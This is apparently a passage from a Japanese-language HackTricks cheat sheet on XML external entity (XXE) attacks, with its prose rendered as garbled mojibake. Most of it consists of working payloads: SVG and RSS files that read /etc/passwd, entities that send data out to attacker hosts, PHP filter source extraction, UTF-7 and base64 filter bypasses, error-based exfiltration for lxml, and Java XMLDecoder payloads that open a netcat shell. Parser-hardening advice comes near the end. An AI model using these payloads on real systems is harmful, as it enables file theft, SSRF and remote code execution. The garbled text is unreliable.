<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
å¥ã®æ¹æ³ã¯ãPHPã®âexpectâã©ãããŒãéããŠã³ãã³ããå®è¡ããããšããããšã§ã:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>
SVG圢åŒã¯ããµãŒããŒã®ãœãããŠã§ã¢ã®XMLåŠçæ©èœãæªçšããæ»æãéå§ããããã«äœ¿çšããããããå ç¢ãªå ¥åæ€èšŒãšã»ãã¥ãªãã£å¯Ÿçã®å¿ èŠæ§ã匷調ãããŸãã
詳现ã«ã€ããŠã¯https://portswigger.net/web-security/xxeã確èªããŠãã ããïŒ
èªã¿åã£ããã¡ã€ã«ã®æåã®è¡ãŸãã¯å®è¡çµæã¯ãäœæãããç»åã®å éšã«è¡šç€ºãããŸãããããã£ãŠãSVGãäœæããç»åã«ã¢ã¯ã»ã¹ã§ããå¿ èŠããããŸãã
PDF - ãã¡ã€ã«ã¢ããããŒã
æ¬¡ã®æçš¿ãèªãã§PDFãã¡ã€ã«ãã¢ããããŒãããŠXXEãæªçšããæ¹æ³ãåŠãã§ãã ãã:
PDF Upload - XXE and CORS bypass
Content-Type: x-www-urlencodedããXMLãž
POSTãªã¯ãšã¹ããXML圢åŒã®ããŒã¿ãåãå ¥ããå Žåããã®ãªã¯ãšã¹ãã§XXEãæªçšããããšããããšãã§ããŸããããšãã°ãéåžžã®ãªã¯ãšã¹ãã«æ¬¡ã®ãããªå 容ãå«ãŸããŠããå ŽåïŒ
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
次ã®ãªã¯ãšã¹ããéä¿¡ã§ãããããããŸããããåãçµæã«ãªããŸã:
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
Content-Type: From JSON to XEE
ãªã¯ãšã¹ãã倿Žããã«ã¯ããContent Type ConverterããšããBurpæ¡åŒµæ©èœã䜿çšã§ããŸããHere ã§ãã®äŸãèŠã€ããããšãã§ããŸã:
Content-Type: application/json;charset=UTF-8
{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>
å¥ã®äŸã¯ãã¡ãã§èŠã€ããããšãã§ããŸãã
WAF & ä¿è·ã®ãã€ãã¹
Base64
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
ãã®æäœã¯ãXMLãµãŒããŒã data:// ãããã³ã«ãåãå
¥ããå Žåã«ã®ã¿æ©èœããŸãã
UTF-7
ããã§ [âEncode Recipeâ of cyberchef]ã䜿çšã§ããŸãã
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
File:/ ãããã³ã«ãã€ãã¹
ãŠã§ããPHPã䜿çšããŠããå Žåãfile:/ã®ä»£ããã«php wrappersphp://filter/convert.base64-encode/resource=ã䜿çšããŠå
éšãã¡ã€ã«ã«ã¢ã¯ã»ã¹ã§ããŸãã
ãŠã§ããJavaã䜿çšããŠããå Žåã¯ãjar: ãããã³ã«ã確èªããŠãã ããã
HTML ãšã³ãã£ãã£
https://github.com/Ambrotd/XXE-Notesããã®ããªãã¯
ãšã³ãã£ãã£å
ã®ãšã³ãã£ãã£ãäœæããhtml ãšã³ãã£ãã£ã§ãšã³ã³ãŒãããŠãããdtdãããŒãããããã«åŒã³åºãããšãã§ããŸãã
䜿çšããHTML ãšã³ãã£ãã£ã¯æ°å€ã§ããå¿
èŠããããŸãïŒäŸãšããŠ[ãã®äŸ](https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,âNumeric entitiesâ%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\)ã
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>
DTDã®äŸ:
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;
PHP Wrappers
Base64
æœåº index.php
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
å€éšãªãœãŒã¹ã®æœåº
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
ãªã¢ãŒãã³ãŒãå®è¡
PHPã®âexpectâã¢ãžã¥ãŒã«ãããŒããããŠããå Žå
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
SOAP - XEE
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
XLIFF - XXE
ãã®äŸã¯https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxeã«ã€ã³ã¹ãã€ã¢ãããŠããŸãã
XLIFF (XML Localization Interchange File Format) ã¯ãããŒã«ãªãŒãŒã·ã§ã³ããã»ã¹ã«ãããããŒã¿äº€æãæšæºåããããã«å©çšãããŸããããã¯ãäž»ã«ããŒã«ãªãŒãŒã·ã§ã³äžã«ããŒã«éã§ããŒã«ã©ã€ãºå¯èœãªããŒã¿ã転éããããã«äœ¿çšãããXMLããŒã¹ã®ãã©ãŒãããã§ãããCAT (Computer-Aided Translation) ããŒã«ã®å ±é亀æãã©ãŒããããšããŠã䜿çšãããŸãã
Blind Request Analysis
ãµãŒããŒã«æ¬¡ã®å 容ã®ãªã¯ãšã¹ããéä¿¡ãããŸã:
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
ãããããã®ãªã¯ãšã¹ãã¯å éšãµãŒããŒãšã©ãŒãåŒãèµ·ãããç¹ã«ããŒã¯ã¢ãã宣èšã«é¢ããåé¡ã瀺ããŠããŸã:
{
"status": 500,
"error": "Internal Server Error",
"message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
}
ãšã©ãŒã«ãããããããBurp Collaboratorã«ããããèšé²ãããå€éšãšã³ãã£ãã£ãšã®äœããã®ã€ã³ã¿ã©ã¯ã·ã§ã³ã瀺ãããŠããŸãã
Out of Band Data Exfiltration ããŒã¿ãæœåºããããã«ãä¿®æ£ããããªã¯ãšã¹ããéä¿¡ãããŸãïŒ
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
ãã®ã¢ãããŒãã¯ãUser AgentãJava 1.8ã®äœ¿çšã瀺ããŠããããšãæããã«ããŸãããã®ããŒãžã§ã³ã®Javaã®å¶éã®äžã€ã¯ãOut of Bandæè¡ã䜿çšããŠã/etc/passwdã®ãããªæ¹è¡æåãå«ããã¡ã€ã«ãååŸã§ããªãããšã§ãã
Error-Based Data Exfiltration ãã®å¶éãå æããããã«ãError-Basedã¢ãããŒããæ¡çšãããŸããDTDãã¡ã€ã«ã¯ãã¿ãŒã²ãããã¡ã€ã«ããã®ããŒã¿ãå«ããšã©ãŒãããªã¬ãŒããããã«æ¬¡ã®ããã«æ§æãããŠããŸã:
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;
ãµãŒããŒã¯ãšã©ãŒã§å¿çããéèŠãªããšã«ååšããªããã¡ã€ã«ãåæ ãããµãŒããŒãæå®ããããã¡ã€ã«ã«ã¢ã¯ã»ã¹ããããšããŠããããšã瀺ããŠããŸãïŒ
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
ãšã©ãŒã¡ãã»ãŒãžã«ãã¡ã€ã«ã®å 容ãå«ããããã«ãDTDãã¡ã€ã«ã調æŽãããŸã:
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;
ãã®ä¿®æ£ã«ãããHTTPçµç±ã§éä¿¡ããããšã©ãŒåºåã«åæ ãããããã«ããã¡ã€ã«ã®å å®¹ãæ£åžžã«æœåºãããŸããããã¯ãOut of Bandããã³Error-Basedæè¡ã®äž¡æ¹ãå©çšããŠæ©å¯æ å ±ãæœåºããæåããXXEïŒXML External EntityïŒæ»æã瀺ããŠããŸãã
RSS - XEE
XXEè匱æ§ãæªçšããããã®RSS圢åŒã®æå¹ãªXMLã
Ping back
æ»æè ã®ãµãŒããŒãžã®ã·ã³ãã«ãªHTTPãªã¯ãšã¹ã
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
ãã¡ã€ã«ãèªã
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
ãœãŒã¹ã³ãŒããèªã
PHPã®base64ãã£ã«ã¿ãŒã䜿çšãã
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
Java XMLDecoder XEE to RCE
XMLDecoderã¯ãXMLã¡ãã»ãŒãžã«åºã¥ããŠãªããžã§ã¯ããäœæããJavaã¯ã©ã¹ã§ããæªæã®ãããŠãŒã¶ãŒãã¢ããªã±ãŒã·ã§ã³ã«ä»»æã®ããŒã¿ãreadObjectã¡ãœãããžã®åŒã³åºãã§äœ¿çšãããããšãã§ããã°ã圌ã¯ç¬æã«ãµãŒããŒäžã§ã³ãŒãå®è¡ãåŸãããšã«ãªããŸãã
Using Runtime().exec()
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>
ProcessBuilder
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>
XXE + WrapWrap + Lightyear + bypasses
ãã®çŽ æŽãããã¬ããŒããèŠãŠãã ãã https://swarm.ptsecurity.com/impossible-xxe-in-php/
Tools
GitHub - luisfontes19/xxexploiter: Tool to help exploit XXE vulnerabilities
Python lxml ãã©ã¡ãŒã¿ãšã³ãã£ã㣠XXE (ãšã©ãŒã«åºã¥ããã¡ã€ã«é瀺)
[!INFO] Pythonã©ã€ãã©ãª lxml ã¯å éšã§ libxml2 ã䜿çšããŠããŸãã lxml 5.4.0 / libxml2 2.13.8 ããåã®ããŒãžã§ã³ã¯ã
resolve_entities=Falseã®å Žåã§ã parameter ãšã³ãã£ãã£ãå±éãç¶ããã¢ããªã±ãŒã·ã§ã³ãload_dtd=Trueããã³/ãŸãã¯resolve_entities=Trueãæå¹ã«ãããšã¢ã¯ã»ã¹å¯èœã«ãªããŸãã ããã«ãããããŒã«ã«ãã¡ã€ã«ã®å 容ãããŒãµãŒãšã©ãŒã¡ãã»ãŒãžã«åã蟌ããšã©ãŒã«åºã¥ã XXE ãã€ããŒããå¯èœã«ãªããŸãã
1. lxml < 5.4.0 ã®æªçš
- æªå®çŸ© ãã©ã¡ãŒã¿ãšã³ãã£ã㣠(äŸ:
%config_hex;) ãå®çŸ©ãã ããŒã«ã« DTD ããã£ã¹ã¯äžã§ç¹å®ãŸãã¯äœæããŸãã - å éš DTD ãäœæããŸã:
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">ã§ããŒã«ã« DTD ãèªã¿èŸŒã¿ãŸãã- æªå®çŸ©ãšã³ãã£ãã£ãåå®çŸ©ããŠã次ã®ããã«ããŸã:
- 察象ãã¡ã€ã«ãèªã¿åããŸã (
<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">)ã %flag;å€ãå«ã ç¡å¹ãªãã¹ ãåç §ããå¥ã®ãã©ã¡ãŒã¿ãšã³ãã£ãã£ãæ§ç¯ããããŒãµãŒãšã©ãŒãããªã¬ãŒããŸã (<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">)ã
- æåŸã«
%local_dtd;ãš%eval;ãå±éããŠãããŒãµãŒã%error;ã«ééãã/aaa/<FLAG>ãéããã«å€±æããã¹ããŒãããäŸå€å ã«ãã©ã°ãæŒæŽ©ãããŸã â ããã¯ãã°ãã°ã¢ããªã±ãŒã·ã§ã³ã«ãã£ãŠãŠãŒã¶ãŒã«è¿ãããŸãã
<!DOCTYPE colors [
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
<!ENTITY % config_hex '
<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">
%eval;'>
%local_dtd;
]>
ã¢ããªã±ãŒã·ã§ã³ãäŸå€ãåºåãããšãã¬ã¹ãã³ã¹ã«ã¯æ¬¡ã®å 容ãå«ãŸããŸã:
Error : failed to load external entity "file:///aaa/FLAG{secret}"
Tip
ããŒãµãŒãå éšãµãã»ããå ã®
%/&æåã«ã€ããŠæå¥ãèšãå Žåãããããäºéãšã³ã³ãŒãããŸãïŒ&#x25;â%ïŒä»¥éã®å±éãé ãããããã«ã
2. lxml 5.4.0ã®ããŒããã³ã°ãåé¿ããïŒlibxml2ã¯äŸç¶ãšããŠè匱ïŒ
lxml ⥠5.4.0ã¯äžèšã®ãããªerrorãã©ã¡ãŒã¿ãšã³ãã£ãã£ãçŠæ¢ããŠããŸãããlibxml2ã¯ããããgeneralãšã³ãã£ãã£ã«åã蟌ãããšãäŸç¶ãšããŠèš±å¯ããŠããŸããããªãã¯ã¯æ¬¡ã®éãã§ãïŒ
- ãã¡ã€ã«ããã©ã¡ãŒã¿ãšã³ãã£ãã£
%fileã«èªã¿èŸŒã¿ãŸãã - non-existent protocolïŒååšããªããããã³ã«ïŒã䜿çšããgeneralãšã³ãã£ãã£
cãæ§ç¯ããå¥ã®ãã©ã¡ãŒã¿ãšã³ãã£ãã£ã宣èšããŸããäŸãã°meow://%file;ã®ããã«ã - XMLããã£ã«
&c;ãé 眮ããŸããããŒãµãŒãmeow://âŠãéåç §ããããšãããšå€±æãããšã©ãŒã¡ãã»ãŒãžã«ãã¡ã€ã«ã®å 容ãå«ãå®å šãªURIãåæ ãããŸãã
<!DOCTYPE colors [
<!ENTITY % a '
<!ENTITY % file SYSTEM "file:///tmp/flag.txt">
<!ENTITY % b "<!ENTITY c SYSTEM 'meow://%file;'>">
'>
%a; %b;
]>
<colors>&c;</colors>
äž»ãªãã€ã³ã
- ãã©ã¡ãŒã¿ãšã³ãã£ãã£ã¯ã
resolve_entitiesãXXEããããã¯ãã¹ãã§ãã£ãŠããlibxml2ã«ãã£ãŠäŸç¶ãšããŠå±éãããŸãã - ç¡å¹ãªURIãŸãã¯ååšããªããã¡ã€ã«ã¯ãå¶åŸ¡ãããããŒã¿ãã¹ããŒãããäŸå€ã«é£çµããã®ã«ååã§ãã
- ãã®æè¡ã¯å€éšæ¥ç¶ãªãã§æ©èœãã峿 Œã«åºå£ãã£ã«ã¿ãªã³ã°ãããç°å¢ã«æé©ã§ãã
ç·©åã¬ã€ãã³ã¹
- lxml ⥠5.4.0ã«ã¢ããã°ã¬ãŒãããåºç€ãšãªãlibxml2ã**⥠2.13.8**ã§ããããšã確èªããŠãã ããã
- 絶察ã«å¿
èŠã§ãªãéãã
load_dtdããã³/ãŸãã¯resolve_entitiesãç¡å¹ã«ããŠãã ããã - ã¯ã©ã€ã¢ã³ãã«çã®ããŒãµãŒãšã©ãŒãè¿ããªãããã«ããŠãã ããã
Java DocumentBuilderFactoryã®åŒ·åäŸ
Javaã¢ããªã±ãŒã·ã§ã³ã¯ãDocumentBuilderFactoryã䜿çšããŠXMLãé »ç¹ã«è§£æããŸããããã©ã«ãã§ã¯ããã¡ã¯ããªãŒã¯å€éšãšã³ãã£ãã£ã®è§£æ±ºãèš±å¯ããŠããã远å ã®åŒ·åãã©ã°ãèšå®ãããŠããªãå ŽåãXXEãSSRFã«å¯ŸããŠè匱ã§ãã
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone
ã»ãã¥ã¢ãªæ§æã®äŸ:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// Completely forbid any DOCTYPE declarations (best-effort defence)
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// Disable expansion of external entities
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// Enable "secure processing" which applies additional limits
dbf.setFeature(javax.xml.XMLConstants.FEATURE_SECURE_PROCESSING, true);
// Defensive extras
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
DocumentBuilder builder = dbf.newDocumentBuilder();
ã¢ããªã±ãŒã·ã§ã³ãå
éšã§DTDããµããŒãããå¿
èŠãããå Žåãdisallow-doctype-declãç¡å¹ã®ãŸãŸã«ããåžžã«2ã€ã®external-*-entitiesæ©èœãfalseã«èšå®ããŠãããŠãã ããããã®çµã¿åããã«ãããå€å
žçãªãã¡ã€ã«é瀺ãã€ããŒãïŒfile:///etc/passwdïŒããããã¯ãŒã¯ããŒã¹ã®SSRFãã¯ã¿ãŒïŒhttp://169.254.169.254/âŠãjar:ãããã³ã«ãªã©ïŒãé²ãããšãã§ããŸãã
å®éã®ã±ãŒã¹ã¹ã¿ãã£: CVE-2025-27136ã¯ãJava S3ãšãã¥ã¬ãŒã¿ãŒLocalS3ã§äžèšã®è匱ãªã³ã³ã¹ãã©ã¯ã¿ãŒã䜿çšããŸãããèªèšŒãããŠããªãæ»æè
ã¯ãCreateBucketConfigurationãšã³ããã€ã³ãã«çް工ãããXMLããã£ãæäŸãããµãŒããŒãHTTPã¬ã¹ãã³ã¹ã«ããŒã«ã«ãã¡ã€ã«ïŒäŸãã°/etc/passwdïŒãåã蟌ãããšãå¯èœã«ããŸããã
JMF/å°å·ãªãŒã±ã¹ãã¬ãŒã·ã§ã³ãµãŒãã¹ã«ãããXXE â SSRF
äžéšã®å°å·ã¯ãŒã¯ãããŒ/ãªãŒã±ã¹ãã¬ãŒã·ã§ã³ãã©ãããã©ãŒã ã¯ãXMLãTCPçµç±ã§åãå
¥ãããããã¯ãŒã¯åãã®ãžã§ãã¡ãã»ãŒãžãã©ãŒãããïŒJMFïŒãªã¹ããŒãå
¬éããŠããŸããåºç€ãšãªãããŒãµãŒãDOCTYPEãåãå
¥ããå€éšãšã³ãã£ãã£ã解決ããå Žåãå€å
žçãªXXEãå©çšããŠãµãŒããŒã«å€éšãªã¯ãšã¹ãïŒSSRFïŒã匷å¶ãããããããŒã«ã«ãªãœãŒã¹ã«ã¢ã¯ã»ã¹ããããããããšãã§ããŸãã
å®éã«èгå¯ãããéèŠãªãã€ã³ã:
- å°çšããŒãïŒäžè¬çã«Xerox FreeFlow Coreã§ã¯4004ïŒã§ã®ãããã¯ãŒã¯ãªã¹ããŒïŒäŸ: JMFã¯ã©ã€ã¢ã³ãïŒã
disallow-doctype-declããšã³ãã£ãã£è§£æ±ºãç¡å¹ã®ãŸãŸã®jarå ã§ã®JavaããŒã¹ã®XMLããŒã¹ïŒäŸ:jmfclient.jarïŒã- ã¢ãŠããªããã³ãã³ãŒã«ããã¯ã確å®ã«ãšã¯ã¹ããã€ãã確èªããŸãã
æå°éã®JMFã¹ã¿ã€ã«ã®SSRFãããŒãïŒæ§é ã¯è£œåã«ãã£ãŠç°ãªããŸãããDOCTYPEãéèŠã§ãïŒïŒ
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE JMF [
<!ENTITY probe SYSTEM "http://attacker-collab.example/oob">
]>
<JMF SenderID="hacktricks" Version="1.3" TimeStamp="2025-08-13T10:10:10Z">
<Query Type="KnownMessages">&probe;</Query>
</JMF>
ããŒã:
- ãšã³ãã£ãã£ã®URLãã³ã©ãã¬ãŒã¿ãŒã«çœ®ãæããŸããSSRFãå¯èœãªå ŽåããµãŒããŒã¯ã¡ãã»ãŒãžãè§£æããéã«ããã解決ããŸãã
- 確èªãã¹ãããŒããã³ã°:
disallow-doctype-decl=true,external-general-entities=false,external-parameter-entities=falseã - JMFããŒãããã¡ã€ã«ãæäŸããªãå Žåã§ããSSRFã¯å éšã®å調æ»ãlocalhostã«ãã€ã³ãããã管çAPIã«å°éããããã«ãã§ãŒã³ã§ããŸãã
ãã®ãã¯ã¿ãŒã«é¢ããåèæç®ã¯ããŒãžã®æåŸã«ãªã¹ããããŠããŸãã
åèæç®
-
https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf
-
https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html
-
èªåã®å€éšDTDã䜿çšããŠHTTPçµç±ã§æ å ±ãæœåº: https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/
-
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection
-
https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9
-
Horizon3.ai â From Support Ticket to Zero Day (FreeFlow Core XXE/SSRF + Path Traversal)
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


